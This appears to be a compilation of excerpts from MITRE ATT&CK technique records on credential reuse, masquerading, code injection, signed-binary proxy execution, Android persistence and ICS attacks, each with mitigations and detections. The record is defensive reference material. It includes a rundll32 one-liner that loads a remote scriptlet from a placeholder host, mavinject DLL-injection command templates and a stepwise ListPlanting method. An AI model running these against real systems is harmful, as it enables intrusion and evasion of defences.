Developer ID.\n\n4. Notarization - Using the `api.apple-cloudkit.com` API, Gatekeeper reaches out to Apple servers to verify or pull down the notarization ticket and ensure the ticket is not revoked. Users can override notarization, which will result in a prompt of executing an “unauthorized app” and the security policy will be modified.\n\nAdversaries can subvert one or multiple security controls within Gatekeeper checks through logic errors (e.g. Exploitation for Stealth), unchecked file types, and external libraries. For example, prior to macOS 13 Ventura, code signing and notarization checks were only conducted on first launch, allowing adversaries to write malicious executables to previously opened applications in order to bypass Gatekeeper security checks. […]\n\n## Reference: ATT&CK T1553.002 Code Signing\n**ATT&CK T1553.002 Code Signing (full record).** Adversaries may create, acquire, or steal code signing materials to sign their malware or tools. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. The certificates used during an operation may be created, acquired, or stolen by the adversary. Unlike Invalid Code Signature, this activity will result in a valid signature.\n\nCode signing to verify software on first run can be used on modern Windows and macOS systems. It is not used on Linux due to the decentralized nature of the platform.\n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system.\n\n**Classification.** - Tactics: defense-impairment\n- Platforms: macOS, Windows\n- Sub-technique of: T1553 Subvert Trust Controls - Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs. Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust.\n\n**Detection strategies and analytics.** - **Detect Suspicious or Malicious Code Signing Abuse**\n - Detects execution of binaries signed with unusual or recently issued certificates, correlation of process execution with abnormal publisher metadata, and mismatched certificate chains. Monitors for revoked or unknown code signing certificates used in high-privilege contexts. (telemetry: WinEventLog:Security:EventCode=4688, WinEventLog:Sysmon:EventCode=7)\n - Monitors Gatekeeper, spctl, and unified log entries for binaries executed with unexpected or untrusted signatures. Correlates file metadata changes with process launches where signature validation is skipped, altered, or fails but the process still executes. […]\n\n## Reference: ATT&CK T1553.003 SIP and Trust Provider Hijacking\n**ATT&CK T1553.003 SIP and Trust Provider Hijacking (full record).** Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature.\n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all) and are identified by globally unique identifiers (GUIDs).\n\nSimilar to Code Signing, adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system.

Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.\n\nWhen performing PtH, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.\n\nAdversaries may also use stolen password hashes to \"overpass the hash.\" Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform Pass the Ticket attacks.\n\n**Classification.** - Tactics: lateral-movement\n- Platforms: Windows\n- Sub-technique of: T1550 Use Alternate Authentication Material - Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls.\n\n**Mitigations.** - **Update Software**: Software updates ensure systems are protected against known vulnerabilities by applying patches and upgrades provided by vendors. Regular updates reduce the attack surface and prevent adversaries from exploiting known security gaps. This includes patching operating systems, applications, drivers, and firmware. This mitigation can be implemented through the following measures:\n- **User Account Control**: User Account Control (UAC) is a security feature in Microsoft Windows that prevents unauthorized changes to the operating system. UAC prompts users to confirm or provide administrator credentials when an action requires elevated privileges. Proper configuration of UAC reduces the risk of privilege escalation attacks.

Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nWhen preforming PtT, valid Kerberos tickets for Valid Accounts are captured by OS Credential Dumping. A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.\n\nA Silver Ticket can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).\n\nA Golden Ticket can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.\n\nAdversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, \"overpassing the hash\" involves using a NTLM password hash to authenticate as a user (i.e. Pass the Hash) while also using the password hash to create a valid Kerberos ticket.\n\n**Classification.** - Tactics: lateral-movement\n- Platforms: Windows\n- Sub-technique of: T1550 Use Alternate Authentication Material - Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls.\n\n**Mitigations.** - **Privileged Account Management**: Privileged Account Management focuses on implementing policies, controls, and tools to securely manage privileged accounts (e.g., SYSTEM, root, or administrative accounts).

This technique bypasses some multi-factor authentication protocols since the session is already authenticated.\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through Steal Web Session Cookie or Web Cookies, the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.\n\nThere have been examples of malware targeting session cookies to bypass multi-factor authentication systems.\n\n**Classification.** - Tactics: lateral-movement\n- Platforms: IaaS, Office Suite, SaaS\n- Sub-technique of: T1550 Use Alternate Authentication Material - Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls.\n\n**Mitigations.** - **Software Configuration**: Software configuration refers to making security-focused adjustments to the settings of applications, middleware, databases, or other software to mitigate potential threats.

Comprehensive training programs create a human firewall by empowering users to be an active component of the organization's cybersecurity defenses. This mitigation can be implemented through the following measures:\n- **Audit**: Auditing is the process of recording activity and systematically reviewing and analyzing the activity and system configurations. The primary purpose of auditing is to detect anomalies and identify potential threats or weaknesses in the environment. Proper auditing configurations can also help to meet compliance requirements. The process of auditing encompasses regular analysis of user behaviors and system logs in support of proactive security measures.

A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: `File.txt.exe` may render in some views as just `File.txt`). However, the second extension is the true file type that determines how the file is opened and executed. The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system’s policies.\n\nAdversaries may abuse double extensions to attempt to conceal dangerous file types of payloads. A very common usage involves tricking a user into opening what they think is a benign file type but is actually executable code. Such files often pose as email attachments and allow an adversary to gain Initial Access into a user’s system via Spearphishing Attachment then User Execution. For example, an executable file attachment named `Evil.txt.exe` may display as `Evil.txt` to a user. The user may then view it as a benign text file and open it, inadvertently executing the hidden malware.\n\nCommon file types, such as text files (.txt,.doc, etc.) and image files (.jpg,.gif, etc.) are typically used as the first extension to appear benign. Executable extensions commonly regarded as dangerous, such as.exe,.lnk,.hta, and.scr, often appear as the second extension and true file type.\n\n**Classification.** - Tactics: stealth\n- Platforms: Windows\n- Sub-technique of: T1036 Masquerading - Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. […]\n\n## Reference: ATT&CK T1036.008 Masquerade File Type\n**ATT&CK T1036.008 Masquerade File Type (full record).** Adversaries may masquerade malicious payloads as legitimate files through changes to the payload's formatting, including the file’s signature, extension, icon, and contents. Various file types have a typical standard format, including how they are encoded and organized. For example, a file’s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file’s type. For example, the header of a JPEG file, is ` 0xFF 0xD8` and the file extension is either `.JPE`, `.JPEG` or `.JPG`.\n\nAdversaries may edit the header’s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization. This behavior is commonly used when payload files are transferred (e.g., Ingress Tool Transfer) and stored (e.g., Upload Malware) so that adversaries may move their malware without triggering detections.\n\nCommon non-executable file types and extensions, such as text files (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign. Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of `test.gif`. A user may not know that a file is malicious due to the benign appearance and file extension.\n\nPolyglot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1036 Masquerading - Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. […]\n\n## Reference: ATT&CK T1036.009 Break Process Trees\n**ATT&CK T1036.009 Break Process Trees (full record).** An adversary may attempt to evade process tree-based analysis by modifying executed malware's parent process ID (PPID). If endpoint protection software leverages the “parent-child\" relationship for detection, breaking this relationship could result in the adversary’s behavior not being associated with previous process tree activity. On Unix-based systems breaking this process tree is common practice for administrators to execute software using scripts and programs.\n\nOn Linux systems, adversaries may execute a series of Native API calls to alter malware's process tree. For example, adversaries can execute their payload without any arguments, call the `fork` API call twice, then have the parent process exit. This creates a grandchild process with no parent process that is immediately adopted by the `init` system process (PID 1), which successfully disconnects the execution of the adversary's payload from its previous process tree.\n\nAnother example is using the “daemon” syscall to detach from the current parent process and run in the background.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, macOS\n- Sub-technique of: T1036 Masquerading - Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation.\n\n**Detection strategies and analytics.** - **Detection Strategy for Masquerading via Breaking Process Trees**\n - Detects anomalous process execution patterns where a process's parent terminates quickly after process creation or is re-parented to 'init' (PID 1), often indicating double-fork or daemon-style detachment. These behaviors sever the parent-child relationship and obscure the execution origin in process tree analysis. (telemetry: auditd:SYSCALL:fork/clone/daemon syscall tracing, auditd:SYSCALL:execve of re-parented process)\n - Detects execution patterns where a child process is detached from its original parent, often showing up under 'launchd' (PID 1) with no parent lineage. […]\n\n## Reference: ATT&CK T1036.010 Masquerade Account Name\n**ATT&CK T1036.010 Masquerade Account Name (full record).** Adversaries may match or approximate the names of legitimate accounts to make newly created ones appear benign. This will typically occur during Create Account, although accounts may also be renamed at a later date. This may also coincide with Account Access Removal if the actor first deletes an account before re-creating one with the same name.\n\nOften, adversaries will attempt to masquerade as service accounts, such as those associated with legitimate software, data backups, or container cluster management. They may also give accounts generic, trustworthy names, such as “admin”, “help”, or “root.” Sometimes adversaries may model account names off of those already existing in the system, as a follow-on behavior to Account Discovery.\n\nNote that this is distinct from Impersonation, which describes impersonating specific trusted individuals or organizations, rather than user or service account names.\n\n**Classification.** - Tactics: stealth\n- Platforms: Containers, IaaS, Identity Provider, Linux, macOS, Office Suite, SaaS, Windows\n- Sub-technique of: T1036 Masquerading - Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation.\n\n**Mitigations.** - **Audit**: Auditing is the process of recording activity and systematically reviewing and analyzing the activity and system configurations. The primary purpose of auditing is to detect anomalies and identify potential threats or weaknesses in the environment. Proper auditing configurations can also help to meet compliance requirements. The process of auditing encompasses regular analysis of user behaviors and system logs in support of proactive security measures.\n- **User Account Management**: User Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation. Proper account management reduces the attack surface by limiting unauthorized access, managing account privileges, and ensuring accounts are used according to organizational policies.

Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts.\n\nGuessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies.\n\nTypically, management services over commonly used ports are used when guessing passwords. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n* SNMP (161/UDP and 162/TCP/UDP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365..

Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process.\n\nVDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via Ptrace System Calls. However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges.

ListPlanting is a method of executing arbitrary code in the address space of a separate live process. Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.\n\nList-view controls are user interface windows used to display collections of items. Information about an application's list-view settings are stored within the process' memory in a `SysListView32` control.\n\nListPlanting (a form of message-passing \"shatter attack\") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items. Adversaries must first copy code into the target process’ memory space, which can be performed various ways including by directly obtaining a handle to the `SysListView32` child of the victim process window (via Windows API calls such as `FindWindow` and/or `EnumWindows`) or other Process Injection methods.\n\nSome variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored `WriteProcessMemory` function. For example, an adversary can use the `PostMessage` and/or `SendMessage` API functions to send `LVM_SETITEMPOSITION` and `LVM_GETITEMPOSITION` messages, effectively copying a payload 2 bytes at a time to the allocated memory.\n\nFinally, the payload is triggered by sending the `LVM_SORTITEMS` message to the `SysListView32` child of the process window, with the payload within the newly allocated buffer passed and executed as the `ListView_SortItems` callback.\n\n**Classification.** - Tactics: stealth, privilege-escalation\n- Platforms: Windows\n- Sub-technique of: T1055 Process Injection - Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges.

Keylogging is likely to be used to acquire credentials for new access opportunities when OS Credential Dumping efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured. In order to increase the likelihood of capturing credentials quickly, an adversary may also perform actions such as clearing browser cookies to force users to reauthenticate to systems.\n\nKeylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes. Some methods include:\n\n* Hooking API callbacks used for processing keystrokes. Unlike Credential API Hooking, this focuses solely on API functions intended for processing keystroke data.\n* Reading raw keystroke data from the hardware buffer.\n* Windows Registry modifications.\n* Custom drivers.\n* Modify System Image may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.\n\n**Classification.** - Tactics: collection, credential-access\n- Platforms: Linux, macOS, Network Devices, Windows\n- Sub-technique of: T1056 Input Capture - Adversaries may use methods of capturing user input to obtain credentials or collect information.

When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: Bypass User Account Control).\n\nAdversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite. This type of prompt can be used to collect credentials via various languages such as AppleScript and PowerShell. On Linux systems adversaries may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. Unix Shell).\n\nAdversaries may also mimic common software authentication requests, such as those from browsers or email clients. This may also be paired with user activity monitoring (i.e., Browser Information Discovery and/or Application Window Discovery) to spoof prompts when users are naturally accessing sensitive sites/data.\n\n**Classification.** - Tactics: collection, credential-access\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1056 Input Capture - Adversaries may use methods of capturing user input to obtain credentials or collect information.

In earlier versions of Android, device administrator applications needed their administration capabilities explicitly deactivated by the user before the application could be uninstalled. This was later updated so the user could deactivate and uninstall the administrator application in one step.\n\nAdversaries may also abuse the device accessibility APIs to prevent removal. This set of APIs allows the application to perform certain actions on behalf of the user and programmatically determine what is being shown on the screen. The malicious application could monitor the device screen for certain modals (e.g., the confirmation modal to uninstall an application) and inject screen input or a back button tap to close the modal. For example, Android's `performGlobalAction(int)` API could be utilized to prevent the user from removing the malicious application from the device after installation. If the user wants to uninstall the malicious application, two cases may occur, both preventing the user from removing the application.\n\n* Case 1: If the integer argument passed to the API call is `2` or `GLOBAL_ACTION_HOME`, the malicious application may direct the user to the home screen from settings screen\n\n* Case 2: If the integer argument passed to the API call is `1` or `GLOBAL_ACTION_BACK`, the malicious application may emulate the back press event\n\n**Classification.** - Tactics: defense-evasion\n- Platforms: Android\n- Sub-technique of: T1629 Impair Defenses - Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms.\n\n**Mitigations.** - **Use Recent OS Version**: New mobile operating system versions bring not only patches against discovered vulnerabilities but also often bring security architecture improvements that provide resilience against potential vulnerabilities or weaknesses that have not yet been discovered.

This is typically accomplished by requesting device administrator permissions and then locking the screen using `DevicePolicyManager.lockNow`. Other novel techniques for locking the user out of the device have been observed, such as showing a persistent overlay, using carefully crafted “call” notification screens, and locking HTML pages in the foreground. These techniques can be very difficult to get around, and typically require booting the device into safe mode to uninstall the malware.\n\nPrior to Android 7, device administrators were able to reset the device lock passcode to prevent the user from unlocking the device.

Internal spearphishing is multi-staged campaign where a legitimate account is initially compromised either by controlling the user's device or by compromising the account credentials of the user. Adversaries may then attempt to take advantage of the trusted internal account to increase the likelihood of tricking more victims into falling for phish attempts, often incorporating Impersonation.\n\nFor example, adversaries may leverage Spearphishing Attachment or Spearphishing Link as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through Input Capture on sites that mimic login interfaces.\n\nAdversaries may also leverage internal chat apps, such as Microsoft Teams, to spread malicious content or engage users in attempts to capture sensitive information and/or credentials.\n\n**Classification.** - Tactics: lateral-movement\n- Platforms: Linux, macOS, Office Suite, SaaS, Windows\n\n**Detection strategies and analytics.** - **Internal Spearphishing via Trusted Accounts**\n - Sequence of internal email sent from a recently compromised user account (preceded by abnormal logon or device activity), with attachments or links leading to execution or credential harvesting. Defender observes: internal mail delivery to peers with high entropy attachments, followed by click events, process initiation, or credential prompts. (telemetry: WinEventLog:Security:EventCode=4624, 4648, WinEventLog:Security:EventCode=4625, WinEventLog:Security:EventCode=4672)\n - Delivery of suspicious internal communication (e.g., Thunderbird, Evolution) using compromised internal accounts. Sequence of: unexpected user activity + mail transfer logs + download or execution of attachments. […]\n\n## Reference: ATT&CK T1535 Unused/Unsupported Cloud Regions\n**ATT&CK T1535 Unused/Unsupported Cloud Regions (full record).** Adversaries may create cloud instances in unused geographic service regions in order to evade detection. Access is usually obtained through compromising accounts used to manage cloud infrastructure.\n\nCloud service providers often provide infrastructure throughout the world in order to improve performance, provide redundancy, and allow customers to meet compliance requirements. Oftentimes, a customer will only use a subset of the available regions and may not actively monitor other regions. If an adversary creates resources in an unused region, they may be able to operate undetected.\n\nA variation on this behavior takes advantage of differences in functionality across cloud regions. An adversary could utilize regions which do not support advanced detection services in order to avoid detection of their activity.\n\nAn example of adversary use of unused AWS regions is to mine cryptocurrency through Resource Hijacking, which can cost organizations substantial amounts of money over time depending on the processing power used.\n\n**Classification.** - Tactics: stealth\n- Platforms: IaaS\n\n**Mitigations.** - **Software Configuration**: Software configuration refers to making security-focused adjustments to the settings of applications, middleware, databases, or other software to mitigate potential threats. These changes help reduce the attack surface, enforce best practices, and protect sensitive data. This mitigation can be implemented through the following measures:\n\n**Detection strategies and analytics.** - **Detection of Adversary Use of Unused or Unsupported Cloud Regions (IaaS)**\n - Detects creation of cloud instances, services, or resources in normally unused or unsupported regions, especially following initial account access or credential use from known regions. Correlates resource provisioning across regions with absence of historical usage and alerting from standard logging services (e.g., GuardDuty not enabled in that region).

The Regsvr32.exe binary may also be signed by Microsoft.\n\nMalicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. This variation of the technique is often referred to as a \"Squiblydoo\" and has been used in campaigns targeting governments.\n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish persistence via Component Object Model Hijacking.\n\n**Classification.** - Tactics: stealth\n- Platforms: Windows\n- Sub-technique of: T1218 System Binary Proxy Execution - Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries.\n\n**Mitigations.** - **Exploit Protection**: Deploy capabilities that detect, block, and mitigate conditions indicative of software exploits.

Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}`).\n\nRundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions `Control_RunDLL` and `Control_RunDLLAsUser`. Double-clicking a.cpl file also causes rundll32.exe to execute. For example, ClickOnce can be proxied through Rundll32.exe.\n\nRundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: `rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write;GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\"` This behavior has been seen used by malware such as Poweliks.\n\nThreat actors may also abuse legitimate, signed system DLLs (e.g., `zipfldr.dll, ieframe.dll`) with `rundll32.exe` to execute malicious programs or scripts indirectly, making their activity appear more legitimate and evading detection.\n\nAdversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command `rundll32.exe ExampleDLL.dll, ExampleFunction`, rundll32.exe would first attempt to execute `ExampleFunctionW`, or failing that `ExampleFunctionA`, before loading `ExampleFunction`). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending `W` and/or `A` to harmless ones. […]\n\n## Reference: ATT&CK T1218.012 Verclsid\n**ATT&CK T1218.012 Verclsid (full record).** Adversaries may abuse verclsid.exe to proxy execution of malicious code. Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell.\n\nAdversaries may abuse verclsid.exe to execute malicious payloads. This may be achieved by running `verclsid.exe /S /C {CLSID}`, where the file is referenced by a Class ID (CLSID), a unique identification number used to identify COM objects. COM payloads executed by verclsid.exe may be able to perform various malicious actions, such as loading and executing COM scriptlets (SCT) from remote servers (similar to Regsvr32). Since the binary may be signed and/or native on Windows systems, proxying execution via verclsid.exe may bypass application control solutions that do not account for its potential abuse.\n\n**Classification.** - Tactics: stealth\n- Platforms: Windows\n- Sub-technique of: T1218 System Binary Proxy Execution - Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries.\n\n**Mitigations.** - **Execution Prevention**: Prevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms. This ensures that only trusted and authorized code is executed, reducing the risk of malware and unauthorized actions. This mitigation can be implemented through the following measures:\n- **Filter Network Traffic**: Employ network appliances and endpoint software to filter ingress, egress, and lateral network traffic. This includes protocol-based filtering, enforcing firewall rules, and blocking or restricting traffic based on predefined conditions to limit adversary movement and data exfiltration. This mitigation can be implemented through the following measures:\n- **Disable or Remove Feature or Program**: Disable or remove unnecessary and potentially vulnerable software, features, or services to reduce the attack surface and prevent abuse by adversaries. This involves identifying software or features that are no longer needed or that could be exploited and ensuring they are either removed or properly disabled. This mitigation can be implemented through the following measures:\n\n## Reference: ATT&CK T1218.013 Mavinject\n**ATT&CK T1218.013 Mavinject (full record).** Adversaries may abuse mavinject.exe to proxy execution of malicious code. Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).\n\nAdversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. Dynamic-link Library Injection), allowing for arbitrary code execution (ex. `C:\\Windows\\system32\\mavinject.exe PID /INJECTRUNNING PATH_DLL`). Since mavinject.exe may be digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process.\n\nIn addition to Dynamic-link Library Injection, Mavinject.exe can also be abused to perform import descriptor injection via its `/HMODULE` command-line parameter (ex. `mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER`). This command would inject an import table entry consisting of the specified DLL into the module at the given base address.\n\n**Classification.** - Tactics: stealth\n- Platforms: Windows\n- Sub-technique of: T1218 System Binary Proxy Execution - Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries.\n\n**Mitigations.** - **Disable or Remove Feature or Program**: Disable or remove unnecessary and potentially vulnerable software, features, or services to reduce the attack surface and prevent abuse by adversaries.

The adversary may rely on unknowing trusted third parties, such as suppliers or contractors with access privileges, to introduce the removable media. This technique enables initial access to target devices that never connect to untrusted networks, but are physically accessible.\n\nOperators of the German nuclear power plant, Gundremmingen, discovered malware on a facility computer not connected to the internet. The malware included Conficker and W32.Ramnit, which were also found on eighteen removable disk drives in the facility. The plant has since checked for infection and cleaned up more than 1,000 computers. An ESET researcher commented that internet disconnection does not guarantee system safety from infection or payload execution.\n\n**Classification.** - Tactics: initial-access\n- Platforms: Embedded, Windows, Linux, Network Devices\n\n**Mitigations.** - **Operating System Configuration**: Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.\n- **Limit Hardware Installation**: Block users or groups from installing or using unapproved hardware on systems, including USB devices.\n- **Disable or Remove Feature or Program**: Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.\n\n**Detection strategies and analytics.** - **Detection of Replication Through Removable Media**\n - Real-time monitoring identifies a Universal Serial Bus (USB) storage device insertion event on an Industrial Control System (ICS) engineering or Human-Machine Interface (HMI) workstation where the device's hardware identifier (ID) is not in the authorized USB allowlist, immediately followed by process execution from the removable drive's path. Documented as the primary infection vector for Stuxnet, which specifically targeted air-gapped Siemens engineering environments via infected USB drives. […]\n\n## Reference: ATT&CK T0848 Rogue Master\n**ATT&CK T0848 Rogue Master (full record).** Adversaries may setup a rogue master to leverage control server functions to communicate with outstations. A rogue master can be used to send legitimate control messages to other control system devices, affecting processes in unintended ways. It may also be used to disrupt network communications by capturing and receiving the network traffic meant for the actual master. Impersonating a master may also allow an adversary to avoid detection.\n\nIn the case of the 2017 Dallas Siren incident, adversaries used a rogue master to send command messages to the 156 distributed sirens across the city, either through a single rogue transmitter with a strong signal, or using many distributed repeaters.\n\n**Classification.** - Tactics: initial-access\n- Platforms: Embedded, Windows, Linux, Network Devices\n\n**Mitigations.** - **Software Process and Device Authentication**: Require the authentication of devices and software processes where appropriate. Devices that connect remotely to other systems should require strong authentication to prevent spoofing of communications. Furthermore, software processes should also require authentication when accessing APIs.\n- **Filter Network Traffic**: Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic. Perform inline allow/denylisting of network messages based on the application layer (OSI Layer 7) protocol, especially for automation protocols. Application allowlists are beneficial when there are well-defined communication sequences, types, rates, or patterns needed during expected system operations.\n- **Network Segmentation**: Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network. Restrict network access to only required systems and services. In addition, prevent systems from other networks or business functions (e.g., enterprise) from accessing critical process control systems.\n- **Network Allowlists**: Network allowlists can be implemented through either host-based files or system hosts files to specify what connections (e.g., IP address, MAC address, port, protocol) can be made from a device. […]\n\n## Reference: ATT&CK T0849 Masquerading\n**ATT&CK T0849 Masquerading (full record).** Adversaries may use masquerading to disguise a malicious application or executable as another file, to avoid operator and engineer suspicion. Possible disguises of these masquerading files can include commonly found programs, expected vendor executables and configuration files, and other commonplace application and naming conventions. By impersonating expected and vendor-relevant files and applications, operators and engineers may not notice the presence of the underlying malicious content and possibly end up running those masquerading as legitimate functions.\n\nApplications and other files commonly found on Windows systems or in engineering workstations have been impersonated before. This can be as simple as renaming a file to effectively disguise it in the ICS environment.\n\n**Classification.** - Tactics: evasion\n- Platforms: Embedded, Windows, Linux, Network Devices\n\n**Mitigations.** - **Code Signing**: Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.\n- **Execution Prevention**: Block execution of code on a system through application control, and/or script blocking.\n- **Restrict File and Directory Permissions**: Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.\n\n**Detection strategies and analytics.** - **Detection of Masquerading**\n - Real-time monitoring identifies a process or scheduled task whose displayed name matches a known Industrial Control System (ICS) vendor application but whose on-disk binary hash or file path does not match the vendor-signed baseline. The mismatch -- name says one thing, binary integrity 